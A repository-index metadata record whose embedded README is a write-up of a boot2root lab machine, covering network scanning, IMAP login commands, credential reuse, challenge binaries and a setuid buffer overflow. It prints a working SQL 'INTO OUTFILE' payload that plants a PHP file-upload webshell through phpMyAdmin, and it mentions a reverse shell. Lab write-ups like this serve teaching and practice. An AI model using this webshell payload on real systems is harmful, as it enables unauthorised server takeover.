{"id":21955021,"url":"https://github.com/f0rkr/boot2root","last_synced_at":"2025-03-22T18:48:41.766Z","repository":{"id":159752610,"uuid":"611774226","full_name":"f0rkr/boot2root","owner":"f0rkr","description":null,"archived":false,"fork":false,"pushed_at":"2023-03-30T02:27:33.000Z","size":9,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-01-27T23:14:28.685Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/f0rkr.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-03-09T14:17:02.000Z","updated_at":"2023-03-26T18:12:08.000Z","dependencies_parsed_at":null,"dependency_job_id":"94087343-ddb1-4cf4-bc3b-d1bd1a741225","html_url":"https://github.com/f0rkr/boot2root","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/f0rkr%2Fboot2root","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/f0rkr%2Fboot2root/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/f0rkr%2Fboot2root/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/f0rkr%2Fboot2root/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/f0rkr","download_url":"https://codeload.github.com/f0rkr/boot2root/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245007167,"owners_count":20546143,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-29T07:27:29.090Z","updated_at":"2025-03-22T18:48:41.270Z","avatar_url":"https://github.com/f0rkr.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cimg src=\"https://i.redd.it/8g48e3pqehx11.png\" height=\"500px\" width=\"1500px\"/\u003e\n# boot2root writeup\n\nAfter running the machine and configuring the networking to bridged with en0 interface, we ran a ping sweep to find the ip address.\n```\n$ bash misc/psweep.sh\n64 bytes from 10.12.176.109: icmp_seq=0 ttl=64 time=2.276 ms\n64 bytes from 10.12.176.125: icmp_seq=0 ttl=64 time=0.555 ms\n64 bytes from 10.12.176.141: icmp_seq=0 ttl=64 time=0.955 ms\n```\n\nRunning an nmap scan on the machine results in multiple open ports\n```\nPORT    STATE SERVICE\n21/tcp  open  ftp\n22/tcp  open  ssh\n80/tcp  open  http\n143/tcp open  imap\n443/tcp open  https\n993/tcp open  imaps\n```\n\nInspecting https we find two interesting routes /phpmyadmin and /forum, while browsing in the forum we find an interesting blog about troubleshooting sshd, and the blog author shared the error logs.\nWe find a valid password for user lmezard in the forum.\n\nThese credentials are only working on the imapd dovecot server, after logging in the the mailbox of laurie@borntosec.net we find root credentials to phpmyadmin,\ngiving us access to /phpmyadmin.\n\n`openssl s_client -connect ip:993\na LOGIN user password\na LIST \"\" \"*\"\na SELECT INBOX.Sent\na FETCH 2 BODY.PEEK[]\n`\n\nWith the help of phpmyadmin we can upload a php webshell that gives us arbitrary command execution.\n\n`SELECT \n\"\u003c?php echo \\'\u003cform action=\\\"\\\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\" name=\\\"uploader\\\" id=\\\"uploader\\\"\u003e\\';echo \\'\u003cinput type=\\\"file\\\" name=\\\"file\\\" size=\\\"50\\\"\u003e\u003cinput name=\\\"_upl\\\" type=\\\"submit\\\" id=\\\"_upl\\\" value=\\\"Upload\\\"\u003e\u003c/form\u003e\\'; if( $_POST[\\'_upl\\'] == \\\"Upload\\\" ) { if(@copy($_FILES[\\'file\\'][\\'tmp_name\\'], $_FILES[\\'file\\'][\\'name\\'])) { echo \\'\u003cb\u003eUpload Done.\u003cb\u003e\u003cbr\u003e\u003cbr\u003e\\'; }else { echo \\'\u003cb\u003eUpload Failed.\u003c/b\u003e\u003cbr\u003e\u003cbr\u003e\\'; }}?\u003e\"\nINTO OUTFILE '/var/www/forum/templates_c/upload.php';`\n\nthen we can upload a reverse shell you can find it in scripts\n\nWe run a listener, and execute a reverse shell payload through our webshell this is how we get a shell with user www-data.\n\nWe find a LOOKATME containing the credentials of user lmezard, we switch user with command su to lmezard, in it's home directory we find `fun` challenge.\n\nWe get our first challenge named `fun` solving it will give us ssh password of user laurie.\n\nAfter solving the fun challenge we log in through ssh with laurie, and find another challenge a binary named bomb containing six phases that require a password to not explode, this challenge will give us access to user thor.\n\nThor contains a turtle graphics challenge, giving us a large file containing turtle commands for drawing the password, the password of user zaz\n\nFinally zaz contains a set-uid binary with the owner root, the binary is vulnerable to a stack buffer overflow, we will inject shellcode that execute a shell and we get a root shell.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ff0rkr%2Fboot2root","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ff0rkr%2Fboot2root","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ff0rkr%2Fboot2root/lists"}